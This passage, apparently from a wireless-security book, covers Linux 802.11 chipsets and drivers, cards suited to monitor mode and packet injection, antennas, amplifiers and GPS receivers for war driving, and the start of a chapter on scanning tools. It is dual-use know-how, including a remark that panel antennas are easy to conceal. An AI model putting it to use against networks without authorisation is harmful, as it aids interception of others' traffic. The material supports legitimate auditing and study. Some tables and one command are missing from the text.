users	simply	use	the	mac80211	driver	with	LORCON.	The	following	table	summarizes
the	current	state	of	802.11	packet	injection	API	support	on	Linux.	Both	osdep	and
LORCON	provide	similar	levels	of	support	for	different	drivers.



Modern	Chipsets	and	Drivers
The	following	chipsets	all	have	actively	maintained	Linux	drivers	that	are	merged	into	the
mainline	kernel.	They	are	also	easy	to	find	on	the	market	today.	This	list	of	functioning
wireless	chipsets/drivers	is	not	meant	to	be	exhaustive.	Rather,	it	is	a	list	of	the	most
commonly	found	chipsets	with	stable	Linux	support.	Chipsets	that	don’t	have	a	modern
mac80211	driver,	or	are	too	old	to	be	considered	as	effective	hacking	solutions,	are	not
listed.

Hey,	Where’s	My	.11ac?
One	of	the	greatest	ironies	of	Linux	wireless	is	that	while	the	Linux	kernel	powers
many	of	the	802.11n	and	802.11ac	routers	out	there,	in	general,	support	for	802.11n/ac
clients	seems	to	lag	behind	that	of	other	platforms.	At	the	time	of	this	writing,	there	are
two	in-kernel	drivers	with	limited	802.11ac	support:	ath10k	and	Intel’s	iwlwifi	driver.
Unfortunately,	external	devices	that	are	based	ath10k	are	currently	very	limited.

Ralink	(RT2X00)
Ralink	is	one	of	the	smaller	802.11	chipset	manufacturers.	Ralink	has	excellent	open
source	support,	and	all	of	the	cards	we	have	used	are	very	stable.	Ralink	is	one	of	the	few
chipset	vendors	that	have	solid	USB	support	on	Linux	(the	other	being	Realtek	with	its
RTL8187	chipset).

Like	most	chipsets,	Ralink	basically	has	had	two	families	of	drivers.	The	“legacy”
drivers	were	standalone	drivers,	each	targeted	at	a	specific	chipset.	These	drivers	provided
useful	features	such	as	injection	before	it	became	widely	available.	Pedro	Larbig
maintains	a	collection	of	enhanced	legacy	Ralink	drivers	at	http://homepages.tu-
darmstadt.de/~p_larbig/wlan/.	These	drivers	are	probably	the	most	optimized	standalone
drivers	that	are	currently	maintained	with	modifications	specific	to	802.11	hacking.	They
are	also	very	old,	and	as	mentioned	earlier,	it’s	not	generally	worth	the	hassle	of	using	a
custom	driver	any	more.

The	newer	Ralink	drivers	are	collectively	referred	to	as	rt2x00.	This	driver	is
maintained	in	the	kernel	now	and	utilizes	mac80211.	Although	the	in-tree	rt2x00	driver	is
less	optimized	for	wireless	hacking,	it	has	the	advantage	of	being	available	on	any	modern
distribution.

Realtek	(RTL8187)
Although	most	of	the	drivers	mentioned	here	support	dozens	of	cards	and	a	handful	of
chipsets,	users	of	the	RTL8187	driver	usually	have	a	single	card	in	mind—the	Alfa.	The
Alfa	is	a	USB	card	with	a	Realtek	RTL8187	chipset	inside.	The	driver	has	the	same	name.
This	driver	has	been	merged	into	the	mainline	kernel	for	years	and	performs	impressively.
Although	the	RTL818-	based	Alfa	has	been	an	easy	choice	for	quite	a	while,	the	lack	of
802.11	a,	n,	and	ac	support	obviously	limits	its	ability	to	capture	packets	on	newer
infrastructure.	That	said,	it	is	still	a	good	choice	for	a	second	card	for	injecting,	and	it	is
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the	easiest	external	card	to	find	that	works	on	OS	X.

Atheros	(AR5XXX,	AR9XXX)
Atheros	chipsets	have	been	heavily	favored	by	the	hacking	community	for	years	because
of	their	extensibility	and	quality	open	source	drivers.	As	laptops	moved	away	from	the
PCMCIA	bus,	however,	support	for	external	Atheros-based	cards	has	proven	tricky.
Although	all	of	Atheros’s	802.11	chipsets	have	great	Linux	support,	most	of	them	simply
don’t	do	USB	(Atheros	manufactures	most	of	its	chips	for	embedding	on	mini	PCI	cards
or	directly	into	a	SoC).	Sadly,	if	a	Linux	driver	supports	USB	and	Atheros,	it	tends	to	be
pretty	flakey.

If	you	are	lucky	enough	to	have	a	device	with	a	built-in	Atheros	chip	(rare	on	a
laptop),	or	you	want	to	add	a	mini	PCI	card	to	a	laptop	or	other	embedded	device,	the
following	list	gives	you	the	rundown	on	the	current	level	of	driver	support:

•		MadWifi	MadWifi	is	a	legacy	driver	that	was	never	quite	stable	enough	to
get	merged	into	the	mainline	kernel.	If	you	think	you	want	MadWifi,	you	are
confused;	you	want	ath5k	(or	ath9k)	instead.

•		ath5k	This	driver	is	the	logical	successor	to	MadWifi.	It	is	stable	enough	to
be	included	in	the	vanilla	Linux	kernel,	and	it	makes	use	of	the	mac80211	stack.
Ath5k	provides	support	for	many	devices	that	utilize	the	AR5XXX	family	of
chipsets;	however,	it	provides	no	USB	support	and	no	802.11n	support.

•		ath9k	Ath5k’s	big	brother	brings	stable	802.11n	support	for	powerful
chipsets	under	Linux.	Although	Atheros	developed	the	original	driver,	the	open
source	community	now	maintains	it.	Ath9k	provides	support	for	later	AR54XX
chipsets,	as	well	as	the	AR91XX	line.	Similar	to	ath5k,	no	USB	support	is
provided.

•		ath10k	Ath9k’s	big	brother	is	one	of	two	drivers	that	currently	have	some
level	of	802.11ac	support.

•		ath9k_htc	This	driver	provides	support	for	a	handful	of	USB-based	Atheros
chipsets	(AR9271,	AR7010).

•		carl9170	If	you	have	a	Ubiquiti	SR71	USB	device,	this	is	the	third	(third!)
driver	created	to	support	it.	Carl9170	supersedes	ar9170usb,	which	itself	replaced
a	driver	cleverly	named	otus.	If	you	couldn’t	tell	from	its	strained	lineage,	this
driver	is	not	closely	related	to	its	more	stable	ath5/9/10k	counterparts.

Intel	Pro	Wireless	(iwlwifi)
Intel	802.11	chipsets	are	commonly	found	built	into	laptops	and	are	attached	to	the	PCIe
bus.	Newer	Intel	chipsets	are	supported	by	the	iwlwifi	or	the	iwlagn	driver.	All	of	these
drivers	are	merged	into	recent	kernels.

Intel	chipsets	have	the	nice	advantage	of	solid	backing	from	the	vendor.	However,	they
aren’t	found	in	powerful	external	cards,	and	Intel	has	no	compelling	reason	to	merge	any



feature	requests	that	would	make	the	driver	support	802.11	hacking	any	better.	If	you	have
a	laptop	with	an	integrated	Intel	chipset,	you	will	probably	be	okay	using	it	for	testing
purposes,	but	serious	hackers	will	want	to	find	a	solution	that	lends	itself	to	external
antennas.

Why	Don’t	I	See	802.11n	or	ac	Traffic	in	Monitor	Mode?
The	biggest	problem	with	.11n	and	.11ac,	from	a	wireless	hacker’s	perspective,	is	the
use	of	Multiple	Input	Multiple	Output	(MIMO)	technology.	In	a	nutshell,	MIMO	allows
individual	adapters	to	transmit	multiple	spatial	streams	concurrently.	(That’s	why	you
see	all	the	antennas	on	802.11n	and	802.11ac	routers.)	This	means	attackers	have	to
capture	and	successfully	reassemble	two	(or	possibly	even	three)	independently
transmitted	streams.	Miss	even	one	byte	of	one	stream	and	you	miss	the	entire	packet.

Cards
Now	that	the	chipsets	and	drivers	have	been	laid	out,	it’s	time	to	determine	which	card	to
get.	Keep	in	mind	the	odds	are	very	good	that	your	built-in	wireless	card	will	provide
basic	monitor	mode	and	injection	support.	You	may	not	need	to	buy	anything	at	all.	The
goal	of	this	section	is	to	catalog	the	important	features	of	any	card.	At	the	end,	you	will
find	a	list	of	recommended	cards	for	readers	interested	in	buying	one.

One	of	the	most	frustrating	processes	involved	in	purchasing	wireless	cards	is	to	do	all
the	research,	find	just	the	right	card,	order	it,	and	then	discover	you’ve	got	a	slightly
different	hardware	revision	with	an	entirely	different	chipset.	In	fact,	the	only	similarity
between	the	card	in	the	box	and	the	piece	of	hardware	you	paid	for	is	the	picture	on	the
outside.

Unfortunately,	this	happens	all	the	time,	and	there	is	very	little	you	can	do	about	it
(except	order	from	a	store	with	a	no-hassle	return	policy).	The	most	actively	maintained
list	that	maps	products	to	chipsets	and	drivers	is	probably	the	one	at	Linux	Wireless
(http://linuxwireless.org/en/users/Devices).

	

Curious	about	which	chipset	is	in	a	newly	released	card?	If	you	can	obtain	the	FCC	ID	of
the	card,	you	can	glean	tons	of	information	directly	from	the	FCC.	The	most	useful	piece
of	information	is	the	chipset	being	utilized.	This	information	can	often	be	read	off	of	the
high-resolution	internal	photos	posted	online.	If	you	are	curious	about	the	inside	of	a	card
but	don’t	want	to	open	it	up	yourself,	you	are	highly	encouraged	to	visit
http://www.fcc.gov/oet/ea/fccid/,	enter	the	FCC	ID,	and	check	out	the	internal	photo	record
associated	with	the	device.

Transmit	Power
Transmit	(TX)	power,	of	course,	refers	to	how	far	your	card	can	transmit	and	is	usually
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expressed	in	milliwatts	(mW).	Most	consumer-level	cards	come	in	at	30	mW	(+14.8	dBm
[decibel	milliwatts]).	Professional-grade	Atheros-based	cards	can	be	had	with	300	mW
(+24.8	dBm)	of	TX	power	from	Ubiquiti.	The	Alfa	AWUS306H	currently	holds	the	raw
TX	power	medal,	allegedly	providing	1000	mW	(30	dBm)	of	power.	Although	TX	power
is	important,	don’t	forget	to	consider	it	along	with	a	given	card’s	sensitivity.

Sensitivity
Many	people	overlook	a	card’s	sensitivity	and	focus	on	its	TX	power.	This	is	shortsighted.
A	card	that	is	significantly	mismatched	will	be	able	to	transmit	great	distances,	but	not
able	to	receive	the	response.	People	may	overlook	sensitivity	because	it	is	emphasized	less
in	advertising.	If	you	can	find	a	card’s	product	sheet,	the	sensitivity	should	be	listed.
Sensitivity	is	usually	measured	in	dBm	(decibels	relative	to	1	mW).	The	more	negative	the
number,	the	better	(–90	is	better	than	–86).

•		Typical	values	for	sensitivity	in	average	consumer-grade	cards	are	–80	dBm
to	–90	dBm.

•		Each	3-dBm	change	represents	a	doubling	(or	halving,	if	you	are	going	in	the
other	direction)	of	sensitivity.	High-end	cards	get	as	much	as	–93	to	–97	dBm	of
sensitivity.

•		If	you	find	you	need	to	convert	milliwatts	into	dBm,	don’t	be	scared.	Power
in	dBm	is	just	ten	times	the	base	10	logarithm	of	the	power	in	milliwatts.	Here’s
the	formula:
10	×	log10(mW)	=	dBm,	or	mW	=	10dBm/10

Antenna	Support
The	last	thing	to	consider	when	deciding	which	card	to	purchase	is	antenna	support.	What
sort	of	antenna	support	does	it	have,	and	do	you	need	an	antenna	to	begin	with?	If	your	job
is	to	secure	or	audit	a	wireless	network,	you	will	definitely	want	to	get	one	or	two
antennas	so	you	can	accurately	measure	how	far	the	signal	leaks	to	outsiders.

Currently,	cards	come	either	with	zero,	one,	or	two	antenna	jacks.	As	mentioned
previously,	802.11n	cards	need	at	least	two	antennas	to	support	MIMO	(although	one	is
often	built	in).	Cards	are	connected	to	antennas	via	cables	called	pigtails.	The	pigtail’s	job
is	simply	to	connect	whatever	sort	of	jack	exists	on	your	card	to	whatever	sort	of	jack
exists	on	your	antenna.	One	advantage	of	the	transition	of	wireless	external	cards	to	USB
is	that	(almost)	all	of	them	utilize	the	same	antenna	jack—reverse	polarity	SMA	(RP-
SMA).

Fortunately,	most	antennas	come	with	a	particular	connector,	called	the	N-type.
Specifically,	antennas	usually	have	a	female	N-type	connector.	This	standard	connector
lets	friends	loan	each	other	antennas	without	worrying	about	cables	to	convert	among
different	antenna	types.	Other	antenna	connection	types	are	possible,	so	be	sure	to	check
before	you	assume	an	antenna	has	an	N-type	connector.	The	following	table	details	the
various	connector	types	and	vendors.



Recommended	Cards
The	following	three	cards	are	highly	recommended	by	the	authors.	They	have	above-
average	sensitivity/transmit	power,	solid	support	under	Linux,	and	external	antenna
connectors.	Some	of	them	also	support	packet	injection	and	monitor	mode	on	OS	X	as
well	as	Windows.

The	Alfa	(Table	1-1),	as	it	has	come	to	be	known,	has	been	a	staple	of	the	802.11
enthusiast	crowd	for	a	while.	What	it	lacks	(which	is	basically	everything	that	came	after
802.11g),	it	makes	up	for	in	cross-platform	support	and	price.	Because	the	Alfa	product
line	has	expanded,	we	will	refer	to	the	original	Alfa	(AWUS306H)	as	the	Silver	Alfa,	due
to	its	color.

Table	1-1	Alfa	AWUS306H



Although	the	Silver	Alfa	has	been	good	to	us	for	a	long	time,	it	has	been	superseded
by	newer	models.	Readers	with	Silver	Alfas	should	seriously	consider	upgrading	to	one	of
the	more	modern	cards.

The	AWUS036NEH	(aka,	Black	Alfa),	described	in	Table	1-2,	is	basically	the	802.11n
version	of	the	original	Silver	Alfa.	The	biggest	change	other	than	802.11n	support	is	that	it
is	notably	smaller.	Sadly,	this	Alfa	(or	any	other	that	came	after	the	Silver)	is	not
supported	on	OS	X	with	KisMAC.

Table	1-2	Alfa	AWUS36NEH



The	AWUS051NH	(Gold	Alfa)	adds	support	for	5	GHz	(Table	1-3).	Sadly,	it	isn’t
supported	on	OS	X.

Table	1-3	Alfa	AWUS051NH

The	SR71-USB	(Table	1-4)	is	well	supported	on	Windows.	In	fact,	if	you	are	looking
for	a	reliable	way	to	inject	and	monitor	802.11	traffic	on	Windows,	you	might	want	to
consider	an	SR71	with	CommView	for	Wi-Fi.	(It	works	out	to	be	significantly	cheaper
than	an	AirPcap	NX	from	CACE.)



Table	1-4	Ubiquiti	SR71-USB

Tamosoft	(the	creator	of	CommView	for	WiFi)	also	has	support	for	802.11ac	with	a
small	set	of	adapters.	Readers	interested	in	wireless	packet	capture	on	Windows	should
check	out	the	compatibility	list
(http://www.tamos.com/products/commwifi/adapterlist.php).

Antennas
Quite	a	few	different	types	of	802.11	antennas	are	on	the	market.	If	you	have	never
purchased	or	seen	one	before,	all	the	terminology	can	be	quite	confusing.	Before	getting
started,	you	need	to	learn	some	basic	terms.	An	omnidirectional	antenna	is	an	antenna	that
will	extend	your	range	in	all	directions.	A	directional	antenna	is	one	that	lets	you	focus
your	signal	in	a	particular	direction.	Both	types	of	antennas	can	be	quite	useful	in	different
situations.

If	you	have	never	used	an	antenna	before,	don’t	go	out	and	buy	the	biggest	one	you
can	afford.	A	cheap	magnetic-mount	omnidirectional	antenna	can	yield	quite	useful	results
for	$20	or	$30.	If	you	can,	borrow	an	antenna	from	a	friend	to	get	an	idea	of	how	much
range	increase	you	need;	that	way,	you’ll	know	how	much	money	to	spend.

If	you	are	mechanically	and	electrically	inclined,	you	can	build	cheap	waveguide
antennas	out	of	a	tin	can	for	just	a	few	dollars.	The	Internet	is	full	of	stories	of	rickety

http://www.tamos.com/products/commwifi/adapterlist.php


homemade	antennas	getting	great	reception.	Yours	may	possibly,	too.	Of	course,	you
might	also	spend	hours	in	the	garage	with	nothing	to	show	for	it	except	a	tin	can	with	a
hole	and	1	or	2	dBi	of	gain	with	a	strange	radiation	pattern.	If	this	sounds	like	a	fun	hobby,
however,	you	can	find	plenty	of	guides	online.

Finally,	a	reminder	on	comparing	antenna	sensitivity:	Antenna	sensitivity	is	measured
in	dBi.	Doing	casual	comparisons	of	dBi	can	be	misleading.	Don’t	forget—an	increase	of
3	dBi	in	antenna	gain	is	the	same	as	doubling	the	antenna’s	effective	range.	An	antenna
with	12	dBi	of	gain	will	increase	your	range	to	about	twice	that	of	an	antenna	with	9	dBi
of	gain.

The	Basics
There	are	quite	a	few	different	types	of	antennas,	and	entire	PhD	dissertations	are
regularly	written	on	various	techniques	to	improve	them.	This	section	is	not	one	of	them;
this	section	is	designed	to	give	you	practical	knowledge	to	choose	the	correct	antenna	for
the	job	at	hand.

Antennas	are	neither	magic	nor	do	they	inject	power	into	your	signal.	Antennas	work
by	focusing	the	signal	that	your	card	is	already	generating.	Imagine	your	card	generating	a
signal	shaped	like	a	3-D	sphere	(it’s	not,	but	just	pretend).	Omnidirectional	antennas	work
essentially	by	taking	this	spherical	shape	and	flattening	it	down	into	more	of	a	circle,	or
doughnut,	so	your	signal	travels	farther	in	the	horizontal	plane,	but	not	as	far	vertically.
More	importantly,	the	higher	the	gain	of	the	omnidirectional	antenna,	the	flatter	the
doughnut.	Directional	antennas	work	in	the	same	way;	you	sacrifice	signal	in	one
direction	to	gain	it	in	another.	An	important	idea	to	remember	is	that	the	theoretical
volume	of	your	signal	remains	constant;	all	an	antenna	can	do	is	distort	the	shape.

As	already	mentioned,	omnidirectional	antennas	increase	your	range	in	a	roughly
circular	shape.	If	you	are	driving	down	the	street	looking	for	networks,	an	omnidirectional
antenna	is	probably	the	best	tool	for	the	job.	In	some	cases,	you	might	want	the	ability	to
direct	your	signal	with	precision.	This	is	when	a	directional	antenna	is	handy.	The	angular
range	that	a	directional	antenna	covers	is	measured	in	beamwidth.	Some	types	of
directional	antennas	have	a	narrower	beamwidth	than	others.	The	narrower	the	beamwidth
on	a	directional	antenna,	the	more	focused	it	is	(just	like	a	flashlight).	That	means	it	will
transmit	farther,	but	it	won’t	pick	up	a	signal	to	the	side.	If	the	beamwidth	is	too	narrow,
it’s	hard	to	aim.

Antenna	Specifics
Every	wireless	hacker	needs	at	least	one	omnidirectional	antenna.	These	come	in	basically
two	flavors:	9-	to	12-dBi	base-station	antennas	and	magnetic-mount	antennas	with	5	to	9
dBi	of	gain.	Magnetic-mount	antennas	are	designed	to	stick	to	the	top	of	your	car;	base-
station	antennas	are	designed	to	be	plugged	into	an	AP.

Base-station	antennas	usually	come	in	white	PVC	tubes	and	are	usually	30	or	48
inches	in	length.	The	longer	the	antenna,	the	higher	the	gain,	and	the	more	expensive	it	is.
When	war	driving,	the	magnetic	mount	types	generally	give	better	reception	than	the	base-



station	antennas,	despite	the	lower	gain,	because	they	aren’t	in	the	big	metal	box	that	is
your	vehicle.	If	you	want	to	use	an	omnidirectional	antenna	in	an	office	building,	however,
the	12-dBi	gain	base-station	type	will	give	significantly	better	results.

Next	on	your	list	should	be	some	sort	of	directional	antenna.	By	far	the	most	popular
are	cheap	waveguide	antennas	(sometimes	called	cantennas).	A	typical	cantenna	gets	12
dBi	of	gain.	A	step	up	from	the	average	waveguide	antenna	is	a	Yagi.	Yagis	are	easy	to
find	in	15-and	18-dBi	models,	although	they	tend	to	cost	significantly	more	than
waveguide	antennas.

Omnidirectional	Antennas
Omnidirectional	antennas	are	typically	found	magnetically	mounted	on	the	roof	of	a	car.
These	antennas	have	a	low	profile	and	are	commonly	available	for	$20	to	$40	in	the	5–9-
dBi	range.	A	basic	magnetic-mount	omnidirectional	antenna	is	a	must-have	for	anybody
interested	in	war	driving.

Directional	Antennas
Waveguide	antennas,	commonly	referred	to	as	cantennas,	are	generally	less	expensive
than	other	directional	antennas	and	have	approximately	a	30-degree	beamwidth	and	15	dB
of	gain.	Antennas	of	this	form	can	be	easily	made	via	kits	or	from	spare	parts,	although
they	will	probably	not	perform	as	well	as	professionally	assembled	ones.

Panel	antennas	typically	have	13–19	dB	of	gain	and	between	35	and	17	degrees
beamwidth.	(More	gain	means	a	narrower	beamwidth.)	These	antennas	are	generally
between	$30	and	$50.	Panel	antennas	make	good	choices	for	pen-testers	because	they	are
flat	and	easier	to	conceal	than	other	directional	antennas.

Yagi	antennas	are	commonly	available	with	30	degrees	of	beamwidth	and	15–21	dB	of
gain.	When	most	people	think	of	a	menacing-looking	antenna,	they	are	probably	thinking
of	a	Yagi.

Parabolic	antennas	offer	the	most	gain	and	the	narrowest	beamwidth.	A	typical
parabolic	antenna	has	24	dB	of	gain	and	an	extremely	narrow	bandwidth	of	5	degrees.
Antennas	with	this	narrow	of	a	beamwidth	are	meant	to	be	professionally	installed	as	part
of	a	point-to-point	backhaul.

RF	Amplifiers
Adding	an	amplifier	to	your	system	dramatically	increases	your	transmission	range.	It	also
increases	the	receive	sensitivity.	The	downside	is	that	although	amplifiers	increase	signal,
they	also	increase	noise.	We	recommend	utilizing	a	directional	antenna	before	trying	an
amplifier.	If	that’s	not	enough,	or	if	you	are	looking	to	spend	a	few	hundred	dollars	on
some	wireless	gear,	here	are	the	basic	ideas	to	remember.

Any	amplifier	you	see	marketed	for	802.11	is	going	to	be	bidirectional.	This	means	it
will	automatically	switch	between	receiving	and	transmitting	mode	as	needed.	A	transmit-
or	receive-only	amplifier	would	not	be	useful	with	an	802.11	radio.	Another	important



feature	of	an	amplifier	is	its	gain	control.	Amplifiers	can	be	fixed,	variable,	or	automatic
gain	control.	Variable	gain	amplifiers	allow	you	more	flexibility,	whereas	fixed	gain
amplifiers	are	less	expensive.	Automatic	gain–controlled	amplifiers	attempt	to	keep	the
power	emitting	from	the	amplifier	at	a	fixed	value.	This	means	you	don’t	need	to	worry
about	how	much	power	you’re	providing	on	the	input	side;	the	amplifier	evens	it	out.	The
authors	recommend	utilizing	an	automatic	gain	control	amplifier	if	you	are	going	to	try
one	out.	The	RFLinx	2400	SA	is	a	good	example	of	an	automatic	gain	control	amplifier
that	is	suitable	for	802.11	hacking.

Cellular	Data	Cards
A	cellular	data	card	is	indispensable	when	war	driving.	These	cards	allow	you	to	pull
down	maps	and	Google	Earth	imagery	in	real	time.	They	also	let	you	download	any	tools
you	may	have	forgotten	to	preload.	Surprisingly,	most	of	these	cards	actually	work	very
well	under	Linux.	From	the	OS’s	perspective,	the	card	appears	as	a	serial	device	that
responds	to	a	basic	set	of	AT	commands	(almost	like	a	modem	on	a	dialup	connection).

If	you	are	considering	purchasing	a	cellular	data	card,	you	should	check	to	see	if	that
particular	model	is	supported	before	ordering	it.	AT&T	tech	support	is	not	going	to	help
you	troubleshoot	Linux	problems.	In	general,	most	Huawei	cards	are	supported	under
Linux.

GPS
Many	802.11-scanning	tools	can	make	use	of	a	GPS	receiver.	A	receiver	allows	the	tools
to	associate	a	longitude	and	latitude	with	a	given	access	point.	One	of	the	pleasant
surprises	of	GPS	receivers	is	that	almost	any	receiver	that	can	be	hooked	up	to	a	computer
will	be	able	to	talk	a	standard	protocol	called	National	Marine	Electronics	Association
(NMEA).	If	you	get	a	GPS	device	that	can	talk	NMEA,	it	will	probably	work	on	your	OS.

Mice	vs.	Handheld	Receivers
Two	categories	of	GPS	receivers	are	available:	mice	and	handhelds.	A	GPS	mouse	is	a
GPS	receiver	with	a	cable	sticking	out	the	back.	A	mouse	can	only	be	used	with	something
else,	like	a	laptop	or	embedded	device.	Some	GPS	mice	are	weatherproof	and	designed	to
be	attached	to	the	roof	of	a	car.	Others	are	designed	for	less	rugged	use	inside	the	vehicle.
Typically,	a	GPS	mouse	has	a	USB	connector;	other	options	such	as	Bluetooth	are
available	(though	not	recommended	because	they	share	the	same	2.4-GHz	range).

If	you	already	own	a	GPS	device,	plug	it	in	and	see	if	your	OS	recognizes	it.	On
Linux,	you	should	plug	the	device	in	and	check	the	output	of	the	dmesg	command.	With
any	luck,	you	will	see	a	/dev/ttyUSB0	pop	up.	OS	X	users	will	almost	definitely	need	to
install	a	USB-to-serial	converter	driver.	Windows	users	may	have	all	of	the	required
drivers,	but	may	need	to	run	GpsGate	to	help	applications	talk	to	the	device.

If	you	don’t	already	own	a	GPS	device	and	are	looking	for	a	good	wardriving	solution,
the	GlobalSat	BU-353	utilizes	a	Prolific	pl2303	USB-to-serial	chipset,	which	has	solid
cross-platform	support,	with	the	exception	of	Windows	8.	This	GPS	mouse	also	supports



WAAS,	or	the	Wide	Area	Augmentation	System,	which	significantly	improves	the	accuracy
of	GPS,	and	can	be	found	for	approximately	$35.	We	are	going	to	utilize	the	BU-353	for
the	rest	of	the	examples	in	this	book.

GPS	on	Linux
To	Linux,	a	GPS	receiver	is	basically	a	serial	device.	If	you	have	a	Garmin	USB	device,
you	will	need	to	use	the	garmin_gps	driver.	The	BU-353	utilizes	the	Prolific	pl2303
chipset,	and	Linux	utilizes	a	driver	of	the	same	name.

You	may	need	to	unload	and	reload	the	USB-to-serial	converter	kernel	module	if	you
are	having	trouble	with	your	device.	This	can	be	accomplished	via

Assuming	you	have	the	proper	support	compiled,	you	should	end	up	with	some	sort	of
character	device	in	/dev	from	which	you	can	read	GPS	information	(for	example,
/dev/ttyUSB0).

Once	your	driver	is	loaded	and	working,	you	may	want	to	utilize	gpsd	to	multiplex	it
across	multiple	applications.	For	debugging	purposes,	you	should	run	gpsd	–D	2	–n	–N
/dev/ttyUSB0.	If	NMEA	information	starts	scrolling	by,	you	are	in	good	shape.	A
convenient	utility	to	monitor	your	GPS	status	is	called	“cgps”	(curses	gps).	Just	running
cgps	without	any	arguments	will	connect	to	the	local	gpsd	instance	and	display	all	of	the
current	information.

GPS	on	Windows
Windows	7	should	automatically	detect	the	correct	driver	and	assign	the	device	COM	port
in	Device	Manager.	Unfortunately,	the	driver	that	ships	with	Windows	8	explicitly	disables
this	chip,	even	though	it	worked	fine	on	Windows	7.	Users	(victims?)	of	Windows	8	who
want	to	use	the	BU-353	need	to	install	an	older	version	of	this	driver	(ser2pl.sys	or
ser2pl64.sys	for	64-bit	devices)	as	a	workaround.	Details	can	be	found	online.	The
following	illustration	shows	a	working	BU-353	on	Windows	8.1.	Note	the	version	of
ser2pl64.sys.



GPS	on	Macs
OS	X	doesn’t	ship	with	a	driver	for	the	pl2303	USB-to-serial	converter	by	default,	but	one
can	readily	be	found	at	the	manufacturer’s	page:	http://www.prolific.com.tw/.	After
installing	the	pl2303	driver	and	plugging	in	the	BU-353,	a	new	device	is	created	in	/dev:

KisMAC,	the	popular	OS	X	passive	scanner,	knows	how	to	talk	to	this	device.

Summary
This	chapter	has	provided	a	brief	introduction	to	802.11.	It	has	also	covered	the
differences	between	passive	and	active	scanning.	Hopefully	after	reading	it,	you	have	a
solid	understanding	of	what	makes	for	a	successful	802.11	hacking	kit	(antennas,	cards,
chipsets,	amplifiers,	GPS).	In	this	chapter,	you’ve	had	an	overview	of	which	chipsets	are
best	supported	under	Linux	and	learned	about	specific	cards	that	are	well	suited	to
performing	802.11	surveys	and	attacks.	In	the	next	chapter,	you’ll	learn	about	the	software
that	can	be	used	to	scan	for	and	visualize	802.11	networks	in	detail.

http://www.prolific.com.tw/
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SCANNING	AND	ENUMERATING
802.11	NETWORKS

	





As	mentioned	in	the	previous	chapter,	there	are	two	classes	of	wireless	scanning	tools,
passive	and	active.	Both	types	of	tools	are	covered	in	this	chapter.	If	you	already
know	what	operating	system	you	intend	to	use,	you	can	skip	straight	to	the	tools’

portion	of	the	chapter.	If	you	are	curious	about	other	platforms,	or	are	trying	to	determine
the	advantages	of	using	one	versus	another,	read	on.

Choosing	an	Operating	System
In	the	last	chapter,	we	discussed	how	various	attack	techniques	rely	on	the	capabilities	of
the	underlying	hardware.	This	hardware	depends	on	device	drivers	to	communicate	with
the	operating	system,	and	device	drivers	are	tied	to	a	specific	operating	system.	In
addition,	different	wireless	hacking	applications	only	run	on	certain	platforms.	All
combined,	this	dependency	makes	the	selection	of	an	operating	system	all	that	more
important.

Windows
Windows	probably	has	the	advantage	of	already	being	installed	on	your	laptop.
Surprisingly	there	are	quite	a	few	ways	to	get	monitor	mode	working	on	modern	versions
of	Windows,	the	simplest	being	with	a	Microsoft-provided	tool	called	NetMon.
Unfortunately,	although	the	Microsoft	platform	has	plenty	of	driver-level	support	these
days,	there	aren’t	many	third-party	applications	that	take	advantage	of	it.

OS	X
OS	X	is	a	strange	beast.	While	the	core	of	the	operating	system	is	open,	certain
subsystems	are	not.	OS	X	has	a	device	driver	subsystem	that,	although	considered	very
elegant	by	some,	isn’t	nearly	as	well	known	as	that	of	Linux	or	any	BSD	driver
subsystem.	This	means	not	a	lot	of	people	are	out	there	hacking	on	device	drivers	for	OS
X.

With	the	release	of	10.6,	Apple	has	added	monitor	mode	support	for	the	built-in
AirPort	cards.	While	having	built-in	monitor	mode	support	is	obviously	a	good	thing,	the
only	way	to	attach	an	external	antenna	to	built-in	AirPort	cards	involves	a	drill	and	a	lot	of
nerves.	The	built-in	support	allows	you	to	play	around	with	passive	tools,	but	serious
wireless	hackers	are	going	to	want	to	use	an	external	antenna.

Fortunately	for	OS	X	users	everywhere,	there	is	one	(semi-active)	OS	X	wireless
project:	KisMAC.	Thanks	to	the	KisMAC	project,	monitor	mode	is	easy	to	come	by	for
many	external	chipsets,	and	packet	injection	is	also	available,	though	not	as	robust	as	it	is
on	Linux.	In	short,	although	many	attacks	can	be	performed	on	OS	X,	it	lags	behind	Linux
in	terms	of	chipset	support	and	the	latest	techniques.

Linux



Linux	is	the	obvious	choice	for	wireless	hacking.	Not	only	does	it	have	the	most	active	set
of	driver	developers,	but	also	most	wireless	tools	are	designed	with	Linux	in	mind.	On
Linux,	drivers	that	support	monitor	mode	and	injection	are	the	norm,	not	the	exception.
Also,	because	the	drivers	are	open	source,	patching	or	modifying	them	to	perform	more
advanced	attacks	is	easy.

Of	course,	if	you	don’t	have	much	history	using	Linux,	the	entire	experience	can	be
daunting—especially	back	when	custom	802.11	drivers	were	required	for	a	majority	of
attacks.	Fortunately,	if	you	utilize	a	modern	distribution	(such	as	Ubuntu	14.04	or	Kali),
most	of	the	drivers	can	be	used	for	injection	out	of	the	box.	As	stated	in	the	previous
chapter,	all	of	the	attacks	throughout	this	book	can	be	performed	on	a	stock	3.3.8	or	later
kernel	without	modification,	unless	explicitly	mentioned.

Another	way	to	hack	on	Linux	is	to	use	the	wide	variety	of	bootable	distributions,	the
most	popular	of	which	is	Kali	(successor	to	BackTrack).	By	utilizing	a	bootable
distribution,	you	can	test	the	capabilities	of	Linux	without	committing	to	installing	it	on
your	main	laptop.	Another	convenient	way	to	test	wireless	attacks	from	Linux	is	to	utilize
VMware.	VMware	has	very	robust	USB	pass-through	support,	allowing	you	to	use	many
wireless	hacking	utilities	with	real	hardware	that	is	passed	through	to	the	VM.	Kali
distributes	VMware	images	prebuilt	for	this	purpose.

Windows	Discovery	Tools
Currently	only	one	free	scanning	tool	is	actively	maintained	on	Windows:	Vistumbler.	As
far	as	active	802.11	scanning	tools	go,	Vistumbler	is	not	bad.	It	has	support	for	multiple
interfaces,	GPS,	KML	generation,	and	a	real-time	Google	Earth	view.	If	you	just	want	to
casually	map	wireless	networks	nearby	and	are	fond	of	Windows,	this	tool	is	a	good
choice.

Vistumbler
Since	Vistumbler	is	an	active	scanner,	it	can’t	create	packet	captures	while	it	runs.	It	also
will	have	trouble	discovering	the	SSID	of	hidden	networks.	Because	Vistumbler	is	just
calling	out	to	netsh	(the	Windows	command-line	networking	utility),	it	is	also	decoupled
from	the	details	of	driver	interfaces.	So	if	your	wireless	card	works	under	Windows,	then
it	should	work	fine	with	Vistumbler.

	

Disable	any	third-party	wireless	configuration	client	and	disconnect	from	any	network
before	running	Vistumbler	to	ensure	optimal	results.

Vistumbler	(Active	Scanner)



